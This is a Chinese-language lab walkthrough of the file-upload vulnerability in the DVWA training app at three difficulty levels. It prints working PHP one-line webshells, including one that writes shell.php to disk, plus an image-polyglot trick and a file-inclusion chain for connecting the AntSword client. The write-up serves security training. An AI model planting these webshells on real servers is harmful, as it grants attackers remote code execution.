DVWA 文件上传漏洞
前言
本次将通过从低到高三个等级的漏洞讲解 DVWA 靶场的文件上传漏洞
一、文件上传漏洞是是什么?
二、Shell
1、命令解释器
Windows | Linux |
---|---|
powershell | sh |
cmd | bash |
… | zsh |
2、Webshell
Webshell是一种用于攻击计算机系统的恶意脚本或程序,它可以在受攻击的网站或Web服务器上获得未经授权的访问权限。攻击者使用Webshell可以远程控制网站或服务器,并执行各种操作,例如执行任意代码、上传或下载文件、修改数据等。Webshell可以伪装成合法的文件或脚本,并常常隐藏在网站的文件系统中。它们对Web安全构成重大威胁,常被用于Web攻击。
后缀名通常为:
- php
- asp
- aspx
- jsp
Webshell 接受来自于 web 用户的命令,然后在服务器端执行,也成为网站木马、木马后门、网马等。
Web容器 | 脚本语言 |
---|---|
Apache HTTPD | php |
IIS | asp&aspx&php |
Tomcat | jsp&jspx |
大马,代码量比较打,与小马对比
小马,一句话木马,需要与中国菜刀配合,特点是短小精悍,功能强大。
DVWA
初级
//初级的可以直接上传php文件,代码如下:
<!-- a.php -->
<?php
@eval($_REQUEST[maple]);
phpinfo();
?>
进入爆出的网站查看
http://10.4.7.130/dvwa_2.0.1/hackable/uploads/a.php
可以看到php配置说明上传成功,可以为所欲为了,接下来连接蚁剑
url
地址为上传文件的地址,密码为刚刚给的maple
值,测试连接成功就可以添加了
这里进来是我们上传木马的路径
中级
相比较初级,中级这里会报错
但是我们可以使用bp抓包,然后修改一个值
这里就会发现上传成功了,访问一下地址
蚁剑测试连接
成功连接
高级
之前的方法都不能用了,只能让我们上传
JPEG
或者PNG
图片
我们随便截一个图片,然后将图片和a.php脚本结合,生成一个新图片
copy a.png/b+a.php/a a1.png
上传这个新的图片
上传成功,访问地址
可以进入,我们直接蚁剑测试
连接失败,我们来到低级文件包含漏洞页面查看一下
三个文件都查看一下
一次点击三个文件后发现
?page=
后面的文件名会变,所以我们尝试输入刚刚上传的文件,看会不会跳转
发现会跳转,用这个地址连接蚁剑测试一下
哦豁,居然还是不能连接,尝试传参看看
这里是成功的,但是连接不了蚁剑,咱们可以换一个代码
<?php
file_put_contents('shell.php','<?php @eval($_REQUEST[maple])?>');
phpinfo();
?>
//这个php脚本的作用是在当前文件夹下写入一个名为shell.php的脚本,内容为一句话木马
重新上传一下
刚刚从文件包含漏洞中可以得知我们到文件路径是
http://10.4.7.130/dvwa_2.0.1/vulnerabilities/fi/..
所以我们先访问一下这个文件,让他写出一个shell.php
文件,然后使用蚁剑测试连接
这样就成功了